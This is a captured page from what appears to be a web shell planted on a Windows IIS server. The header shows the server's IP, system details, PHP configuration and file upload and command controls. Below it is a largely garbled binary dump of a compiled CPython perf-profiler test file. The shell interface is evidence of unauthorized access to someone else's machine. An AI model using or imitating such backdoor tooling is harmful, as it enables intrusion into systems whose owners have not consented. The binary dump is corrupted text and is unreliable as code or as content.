403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_perf_profiler.cpython-313.pyc
�

��i�V���SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	 SSK
JrJrJ
r
 SSKJr \	R (d\R""S5e\	R$"SSSS9(a\R""S5eS	r\"5(d\R""S
5e"SS\R(5rS
rSrSS.Sjr"SS5r\R4"\"5S5\R4"\"5S5"SS\R(\555rSr\R4"\"5S5\R4"\"SS5S5"SS\R(\555r\S:Xa\R>"5 gg)�N)�support)�make_script�assert_python_failure�assert_python_ok)�temp_dirztest module requires subprocessT)�address�memory�ubz,test crash randomly on ASAN/MSAN/UBSAN buildc�Z�[R"S5nU(dg[U5S:H$)N�PY_HAVE_PERF_TRAMPOLINEF�)�	sysconfig�get_config_var�int)�perf_trampolines �,C:\Python313\\Lib\test\test_perf_profiler.py�supports_trampoline_profilingrs)���.�.�/H�I�O������1�$�$�z'perf trampoline profiling not supportedc�^�\rSrSrU4SjrSU4SjjrSrSr\R"\
R"5S5S5r\R"\
R"5S5S5r
S	rS
rSrSrS
rSrU=r$)�TestPerfTrampoline�&c�>�[TU]5 [[R"S5RS55Ulg�N�/tmp/z
perf-*.map��super�setUp�set�pathlib�Path�glob�
perf_files��self�	__class__s �rr�TestPerfTrampoline.setUp'�,���
��
���g�l�l�7�3�8�8��F�G��rc��>�[TU]5 [[R"S5RS55UR-
nUHnUR5 M gr�r�tearDownrrr r!r"�unlink�r$�files_to_delete�filer%s   �rr*�TestPerfTrampoline.tearDown+�M���
��������W�%�*�*�<�8�9�D�O�O�K�	�$�D��K�K�M�$rc	��^�Sn[5n[USU5n0[RESS0En[R
"[RSU/S[R[RUS9nUR5upgSSS5 SSS5 URWS5 URWS5 [R"S	WRS
35nURUR55 UR!5n	U	R#5n
SW3SU3S
U3/nUH�m[%U4SjU
5S5nUR'USTS35 UR)S5Sn
UR+U
R-S5S5 UR[/U
5R1[2R45S5 M� g!,(df   GNO=f!,(df   GNY=f)Nz�if 1:
                def foo():
                    pass

                def bar():
                    foo()

                def baz():
                    bar()

                baz()
                �perftest�
PYTHON_JIT�0�-XperfT��text�stderr�stdout�env��
/tmp/perf-�.map�py::foo:�py::bar:�py::baz:c3�8># �UHnTU;dMUv� M g7f�N�)�.0�line�expected_symbols  �r�	<genexpr>�;TestPerfTrampoline.test_trampoline_works.<locals>.<genexpr>Zs����H�*�$��4�0G���*�s�
�	zCould not find z
 in perf file� r�0xz&Address should not be prefixed with 0xz*Address should contain only hex characters)rr�os�environ�
subprocess�Popen�sys�
executable�PIPE�communicate�assertEqualrr �pid�
assertTrue�exists�	read_text�
splitlines�next�assertIsNotNone�split�assertFalse�
startswithr�issubset�string�	hexdigits)r$�code�
script_dir�scriptr:�processr9r8�	perf_file�perf_file_contents�
perf_lines�expected_symbols�	perf_line�	perf_addrrFs              @r�test_trampoline_works�(TestPerfTrampoline.test_trampoline_works3s�������Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����6�2��!���!������!(�!4�!4�!6�����	
�����$������$��L�L�:�g�k�k�]�$�!?�@�	����	�(�(�*�+�&�0�0�2��'�2�2�4�
��v�h���v�h���v�h��
��
 0�O��H�*�H�$��I�
� � ��_�_�,=�]�K�
�"����,�Q�/�I�����$�$�T�*�,T�
�
�O�O��I��'�'��(8�(8�9�<�
� 0�+����Z�s$�A)G$�7G�
G$�
G!	�G$�$
G3c	�:�Sn[5n[USU5n0[RESS0En[R
"[RSU/S[R[RUS9nUR5upgSSS5 SSS5 URWRS5 URWS	5 [WR55n[R"S
UR S35n	[R"S
US35n
UR#U	R%55 UR#U
R%55 U	R'5nUR)SW3U5 UR)S
U3U5 UR)SU3U5 U
R'5nUR)SU3U5 UR)SU3U5 UR)SU3U5 UR+SU3U5 UR+SU3U5 UR+SU3U5 UR+SU3U5 UR+S
U3U5 UR+SU3U5 g!,(df   GN�=f!,(df   GN=f)Na�if 1:
                import os, sys

                def foo_fork():
                    pass

                def bar_fork():
                    foo_fork()

                def baz_fork():
                    bar_fork()

                def foo():
                    pid = os.fork()
                    if pid == 0:
                        print(os.getpid())
                        baz_fork()
                    else:
                        _, status = os.waitpid(-1, 0)
                        sys.exit(status)

                def bar():
                    foo()

                def baz():
                    bar()

                baz()
                r2r3r4r5Tr6rr;r<r=r>r?r@�
py::foo_fork:�
py::bar_fork:z
py::baz_fork:)rrrKrLrMrNrOrPrQrRrS�
returncoder�striprr rTrUrVrW�assertIn�assertNotIn)
r$rarbrcr:rdr9r8�	child_pidre�perf_child_filerf�child_perf_file_contentss
             r� test_trampoline_works_with_forks�3TestPerfTrampoline.test_trampoline_works_with_forkshsb����:�Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����6�2��!���!������!(�!4�!4�!6�����	
����+�+�Q�/������$������'�	��L�L�:�g�k�k�]�$�!?�@�	�!�,�,��I�;�d�'C�D�����	�(�(�*�+�����.�.�0�1�&�0�0�2���
�
����)�+=�>��
�
����)�+=�>��
�
����)�+=�>�#2�#<�#<�#>� ��
�
�
�f�X�.�0H�I��
�
�
�f�X�.�0H�I��
�
�
�f�X�.�0H�I�	
���=���1�3E�F����=���1�3E�F����=���1�3E�F�	
���8�F�8�,�.F�G����8�F�8�,�.F�G����8�F�8�,�.F�G�G����Z�s$�A)J�6I9�	J�9
J	�J�
Jz#fails on BOLT instrumented binariesc	���Sn[5n[USU5n0[RESS0En[R
"[RSU/S[R[RUS9nUR5upgSSS5 SSS5 URWRSW5 URUS	5 g!,(df   NF=f!,(df   NO=f)
Na<if 1:
                import gc, os, sys, signal

                # Create many code objects so trampoline_refcount > 1
                for i in range(50):
                    exec(compile(f"def _dummy_{i}(): pass", f"<test{i}>", "exec"))

                pid = os.fork()
                if pid == 0:
                    # Child: create and destroy new code objects,
                    # then collect garbage. If the old code watcher
                    # survived the fork, the double-decrement of
                    # trampoline_refcount will cause a SIGSEGV.
                    for i in range(50):
                        exec(compile(f"def _child_{i}(): pass", f"<child{i}>", "exec"))
                    gc.collect()
                    os._exit(0)
                else:
                    _, status = os.waitpid(pid, 0)
                    if os.WIFSIGNALED(status):
                        print(f"FAIL: child killed by signal {os.WTERMSIG(status)}", file=sys.stderr)
                        sys.exit(1)
                    sys.exit(os.WEXITSTATUS(status))
                r2r3r4r5Tr6rr;)rrrKrLrMrNrOrPrQrRrSrp)r$rarbrcr:rdr9r8s        r�7test_trampoline_works_after_fork_with_many_code_objects�JTestPerfTrampoline.test_trampoline_works_after_fork_with_many_code_objects�s�����0�Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����6�2��!���!������!(�!4�!4�!6�����	
����+�+�Q��7������$�����Z�s$�A)C�6C	�	C�	
C	�C�
C(c	��Sn[5n[USU5n0[RESS0En[R
"[RU/S[R[RUS9nUR5upgSSS5 SSS5 URWS5 URWS5 [R"SWRS	35nURUR55 UR!5n	UR#S
W3U	5 UR%SU3U	5 UR%SU3U	5 UR%S
U3U	5 g!,(df   N�=f!,(df   N�=f)Na�if 1:
                import sys
                def foo():
                    pass

                def spam():
                    pass

                def bar():
                    sys.deactivate_stack_trampoline()
                    foo()
                    sys.activate_stack_trampoline("perf")
                    spam()

                def baz():
                    bar()

                sys.activate_stack_trampoline("perf")
                baz()
                r2r3r4Tr6r;r<r=r>z	py::spam:r?r@)rrrKrLrMrNrOrPrQrRrSrr rTrUrVrWrsrr)
r$rarbrcr:rdr9r8rerfs
          r�test_sys_api�TestPerfTrampoline.test_sys_api�sP����(�Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����(��!���!������!(�!4�!4�!6�����	
�����$������$��L�L�:�g�k�k�]�$�!?�@�	����	�(�(�*�+�&�0�0�2�����8�F�8�,�.@�A��
�
�	�&��*�,>�?��
�
����)�+=�>��
�
����)�+=�>�%����Z�s$�A(E5�5E$�E5�$
E2	�.E5�5
Fc� �Sn[SU5 g)Nz�if 1:
                import sys
                sys.activate_stack_trampoline("perf")
                sys.activate_stack_trampoline("perf")
                �-c�r�r$ras  r�%test_sys_api_with_existing_trampoline�8TestPerfTrampoline.test_sys_api_with_existing_trampolines����
	��t�$rc�f�Sn[SU5up#nURSUR55 g)Nzjif 1:
                import sys
                sys.activate_stack_trampoline("invalid")
                r�zinvalid backend: invalid)rrr�decode)r$ra�rc�out�errs     r�$test_sys_api_with_invalid_trampoline�7TestPerfTrampoline.test_sys_api_with_invalid_trampolines0����-�T�4�8�����
�
�0�#�*�*�,�?rc� �Sn[SU5 g)Naif 1:
                import sys
                sys.activate_stack_trampoline("perf")
                assert sys.is_stack_trampoline_active() is True
                sys.deactivate_stack_trampoline()
                assert sys.is_stack_trampoline_active() is False
                r�r�r�s  r�test_sys_api_get_status�*TestPerfTrampoline.test_sys_api_get_statuss����	��t�$rc��Sn[SUSS9 g)Naif 1:
                import sys
                sys.activate_stack_trampoline("perf_jit")
                assert sys.is_stack_trampoline_active() is True
                sys.deactivate_stack_trampoline()
                assert sys.is_stack_trampoline_active() is False
                r�r4�r3r�r�s  r�test_sys_api_perf_jit_backend�0TestPerfTrampoline.test_sys_api_perf_jit_backends����	��t��4rc��Sn[SUSS9 g)Nz�if 1:
                import sys
                sys.activate_stack_trampoline("perf_jit")
                sys.activate_stack_trampoline("perf_jit")
                r�r4r�r�r�s  r�.test_sys_api_with_existing_perf_jit_trampoline�ATestPerfTrampoline.test_sys_api_with_existing_perf_jit_trampoline(s����
	��t��4r�r"��returnN)�__name__�
__module__�__qualname__�__firstlineno__rr*rkrw�unittest�skipIfr�check_bolt_optimizedrzr}r�r�r�r�r��__static_attributes__�
__classcell__�r%s@rrr&s����H��3�jDH�L�_�_�W�1�1�3�5Z�[�&%�\�&%�P�_�_�W�1�1�3�5Z�[�*?�\�*?�X%�@�%�5�5�5rrc�`�[R"S5nU(dgSU;=(a SU;$)N�PY_CORE_CFLAGSFzno-omit-frame-pointer�_Py_JIT)rr)�cflagss r�)is_unwinding_reliable_with_frame_pointersr�1s.��
�
%�
%�&6�
7�F���"�f�,�H��&�1H�Hrc
��SS/n[R"USS9nSU;ag[	5nUS-nSSS	S
SSS
US[
RSS4n0[RESS0En[R"XS[RUS9nSU;a
SSS5 gSSS5 g![R[4a gf=f![R[4a SSS5 gf=f!,(df   g=f)N�perfz--helpT�r7Fz	perf.data�/perf_output.perf�record�--no-buildid�--no-buildid-cache�-g�--call-graph=fp�-o�--r�zprint("hello")r3r4)�cwdr7r8r:�hello)
rM�check_output�SubprocessError�OSErrorrrOrPrKrL�STDOUT)�cmdr9rb�output_filer:s     r�perf_command_worksr�8s#����x� ���(�(��4�8���&� ��
��z�	�$�':�:�K����$��!�������� �
�C�4�R�Z�Z�3��s�3�C��,�,��$�z�7H�7H�c��F��&� ��3
��0!�1
�6��I
�&�&��0�����<�*�*�G�4�	��-
��*	��+
��6�s@�B$�C,�AC�
C,�$C�C�C)�C,�(C)�)C,�,
C:F��use_jitc��[RR5nU(aURU5 SUS'US-nU(dSSSSSS	S
US4	nO
SSSSSSS
SS
US4n[R
"Xb-[R[RUSS9nUR(a:[UR[RS9 [SUR35eU(a�US-nSSSSUS
U4n	[R
"U	[R[RUSS9nUR(a:[UR[RS9 [SUR35e[R"X�5 Sn[R
"SSSU4[R[RUSSS9nURUR4$)Nr4r3r�r�r�r�r�r�r�r�r�z--call-graph=dwarf,65528z-F99z-k1T)r9r8r:r7)r.zPerf failed with return code z/jit_output.dump�injectz-jz-i)r8r9r:r7)r�rcrc)r9r8r:�checkr7)rKrL�copy�updaterM�runrQrp�printr8rO�
ValueError�renamer9)
r�r��args�env_varsr:r��base_cmd�proc�jit_output_file�commands
          r�run_perfr�cs���
�*�*�/�/�
�C���
�
�8���C����+�+�K����� ����+��	
��
��� ��&������
���>�>����������
��D����
�d�k�k��
�
�+��8����8I�J�K�K��� 2�2���8�T�4��d�O�T���~�~��J�O�O�J�O�O��SW�
���?�?��$�+�+�C�J�J�/��<�T�_�_�<M�N�O�O�
�	�	�/�/�!�H��>�>�	��4��-���������
�
�D��;�;����#�#rc�&�\rSrSrSrSrSrSrg)�TestPerfProfilerMixini�c��[5erB)�NotImplementedError)r$rb�	perf_modercs    rr��TestPerfProfilerMixin.run_perf�s��!�#�#rc�2�[5nSn[USU5nURX5upEURUS5 UR	SU3U5 UR	SU3U5 UR	SU3U5 SSS5 g!,(df   g=f)N�!if 1:
                def foo(n):
                    x = 0
                    for i in range(n):
                        x += i

                def bar(n):
                    foo(n)

                def baz(n):
                    bar(n)

                baz(10000000)
                r2r;r>r?r@)rrr�rSrr�r$rbrarcr9r8s      r�7test_python_calls_appear_in_the_stack_if_perf_activated�MTestPerfProfilerMixin.test_python_calls_appear_in_the_stack_if_perf_activated�s���
�Z�:�
�D�!��Z��>�F�!�]�]�:�>�N�F����V�R�(��M�M�H�V�H�-�v�6��M�M�H�V�H�-�v�6��M�M�H�V�H�-�v�6�+�Z�Z�s�A4B�
Bc�0�[5nSn[USU5nURXSS9upEURUS5 UR	SU3U5 UR	SU3U5 UR	SU3U5 SSS5 g!,(df   g=f)	Nr�r2F)�activate_trampoliner;r>r?r@)rrr�rSrsr�s      r�@test_python_calls_do_not_appear_in_the_stack_if_perf_deactivated�VTestPerfProfilerMixin.test_python_calls_do_not_appear_in_the_stack_if_perf_deactivated�s���
�Z�:�
�D�!��Z��>�F�!�]�]���+��N�F�
���V�R�(����x��x�0�&�9����x��x�0�&�9����x��x�0�&�9�/�Z�Z�s�A3B�
BrCN)r�r�r�r�r�r�r�r�rCrrr�r��s��$�7�0:rr�zperf command doesn't workz+Unwinding is unreliable with frame pointersc�H^�\rSrSrSSjrU4SjrSU4SjjrSrSrU=r	$)	�TestPerfProfileri�c�~�U(a[U[RSU5$[U[RU5$)Nr5�r�rOrP�r$rbrcr�s    rr��TestPerfProfiler.run_perf�s-����J�����&�I�I��
�C�N�N�F�;�;rc�>�[TU]5 [[R"S5RS55Ulgrrr#s �rr�TestPerfProfiler.setUp�r'rc��>�[TU]5 [[R"S5RS55UR-
nUHnUR5 M grr)r,s   �rr*�TestPerfProfiler.tearDown�r0rc	��Sn[5n[USU5n0[RESS0En[R
"[RSU/S[R[RUS9nUR5upgSSS5 SSS5 URWRS5 URS	W5 [WR55n[R "S
UR"S35n	[R "S
US35n
UR%U	R'55 UR%U
R'55 U	R)5nUR+SW3U5 UR+S
U3U5 UR+SU3U5 UR+SU3U5 U
R)5nUR+SU3U5 UR+SU3U5 UR-S5n
U
H(nSU3U;dSU3U;dMUR+X�5 M* g!,(df   GN�=f!,(df   GN�=f)Na�if 1:
                import sys
                import os
                import sysconfig
                from _testinternalcapi import (
                    compile_perf_trampoline_entry,
                    perf_trampoline_set_persist_after_fork,
                )

                def foo_fork():
                    pass

                def bar_fork():
                    foo_fork()

                def foo():
                    import time; time.sleep(1)

                def bar():
                    foo()

                def compile_trampolines_for_all_functions():
                    perf_trampoline_set_persist_after_fork(1)
                    for _, obj in globals().items():
                        if callable(obj) and hasattr(obj, '__code__'):
                            compile_perf_trampoline_entry(obj.__code__)

                if __name__ == "__main__":
                    compile_trampolines_for_all_functions()
                    pid = os.fork()
                    if pid == 0:
                        print(os.getpid())
                        bar_fork()
                    else:
                        bar()
                r2r3r4r5T)�universal_newlinesr8r9r:rzError:r<r=r>r?rnro�
)rrrKrLrMrNrOrPrQrRrSrprsrrqrr rTrUrVrWrrr[)r$rarbrcr:rdr9r8rtrerurfrv�perf_file_linesrEs               r�test_pre_fork_compile�&TestPerfProfiler.test_pre_fork_compile�s��#��J�Z�:� ��Z��>�F�3�R�Z�Z�3��s�3�C��!�!�����6�2�#'�!���!������!(�!4�!4�!6�����	
����+�+�Q�/�����6�*������'�	��L�L�:�g�k�k�]�$�!?�@�	�!�,�,��I�;�d�'C�D�����	�(�(�*�+�����.�.�0�1�&�0�0�2���
�
����)�+=�>��
�
����)�+=�>��
�
�
�f�X�.�0B�C��
�
�
�f�X�.�0B�C�#2�#<�#<�#>� ��
�
�
�f�X�.�0H�I��
�
�
�f�X�.�0H�I�-�2�2�4�8��#�D��v�h�'�4�/�]�6�(�3K�t�3S��
�
�d�=�$�=����Z�s$�A)I�6H:�	I�:
I		�I�
Ir��Tr�)
r�r�r�r�r�rr*r�r�r�r�s@rr�r��s���<�
H��I>�I>rr�c�0�[R"SS/SS9nUR5SnURS5SnURS	5n[
[[USS55nX0U4:�$![R[[4a gf=f)
Nr�z	--versionTr�F��-r�.)	rMr��CalledProcessError�FileNotFoundError�PermissionErrorr[�tuple�mapr)�major�minor�output�versions    r�_is_perf_vesion_at_leastr�>s�����(�(�&�+�)>�T�J���l�l�n�Q��G��m�m�C� ��#�G��m�m�C� �G��C��W�R�a�[�)�*�G��e�n�$�$��

�)�)�+<�o�N����s�A3�3B�B�z+perf command may not work due to a perf bugc�B^�\rSrSrSSjrU4SjrSU4SjjrSrU=r$)�TestPerfProfilerWithDwarfiPc�z�U(a[U[RSUSS9$[U[RUSS9$)Nz
-Xperf_jitTr�r�r�s    rr��"TestPerfProfilerWithDwarf.run_perfSs8�����C�N�N�L�&�$��
��
�C�N�N�F�D�I�Irc�
>�[TU]5 [[R"S5RS55UlU=R[[R"S5RS55-slg�Nrz	jit*.dumpzjitted-*.sorr#s �rr�TestPerfProfilerWithDwarf.setUpZsS���
��
���g�l�l�7�3�8�8��E�F������3�w�|�|�G�4�9�9�-�H�I�I�rc�.>�[TU]5 [[R"S5RS55nU[[R"S5RS55-nXR-
nUHnUR5 M grr)r,s   �rr*�"TestPerfProfilerWithDwarf.tearDown_sn���
�����g�l�l�7�3�8�8��E�F���3�w�|�|�G�4�9�9�-�H�I�I��)�O�O�;��#�D��K�K�M�$rr�r�r�)	r�r�r�r�r�rr*r�r�r�s@rr�r�Ps���J�J�
�rr��__main__) r�r_rMrOrrKr�shutil�testr�test.support.script_helperrrr�test.support.os_helperr�has_subprocess_support�SkipTest�check_sanitizerr�TestCaserr�r�r�r��
skipUnlessr�r�r�r��mainrCrr�<module>rs����
��
��	��
����
,��%�%�
�
�
�=�
>�>�
���4���>��
�
�J�
K�K�%�%�&�&�
�
�
�E�
F�F�H5��*�*�H5�VI�(�V"'�?$�D4:�4:�l
���'�)�+F�G�	���-�/�1��[>�x�(�(�*?�[>�	�H�
[>�|%�$
���'�)�+F�G�	���-�a��3�5b�c��� 1� 1�3H��d�H��,�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit